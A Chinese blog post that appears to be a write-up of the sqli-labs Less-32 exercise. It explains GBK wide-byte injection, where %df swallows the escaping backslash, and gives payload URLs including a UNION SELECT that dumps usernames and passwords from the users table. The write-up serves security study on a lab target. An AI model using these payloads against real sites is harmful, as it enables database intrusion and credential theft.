sql-labs32——宽字节注入篇

原理

当mysql使用GBK编码时,可以运用GBK中文汉字占两个字符的特点,构造一个汉字来绕过转义符“\”。

"\"的十六进制为%5c,在"\"前加个"%df",“%df%5c”会被GBK编码为一个汉字。这样“\”就不会起作用了。

实例

首先判断闭合:

50c61949195f4ed09aea27a9e81748fe.png

发现单引号被转义了

源码:

a7328f66db6d49268f8be60f28e76460.png

根据源码,了解题目对单引号,双引号,反斜杠进行了转义。

preg_replace()函数:对字符串进行替换
实例:
$string = 'April 15, 2003';
$pattern = '/april/i';    //"i":不区分大小写
$replacement = 'May';
echo preg_replace($pattern, $replacement, $string);
//May 15, 2003

构造方法:

http://sqli-labs:8989/Less-32/?id=1%df' --+

210ef91a75064db1996127690eca9057.png

之后就是联合注入

http://sqli-labs:8989/Less-32/?id=1000%df' union select 1,(select group_concat(id,password,username) from users),3 --+

7280f10d1ce94064b73ef52aa119cf30.png

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值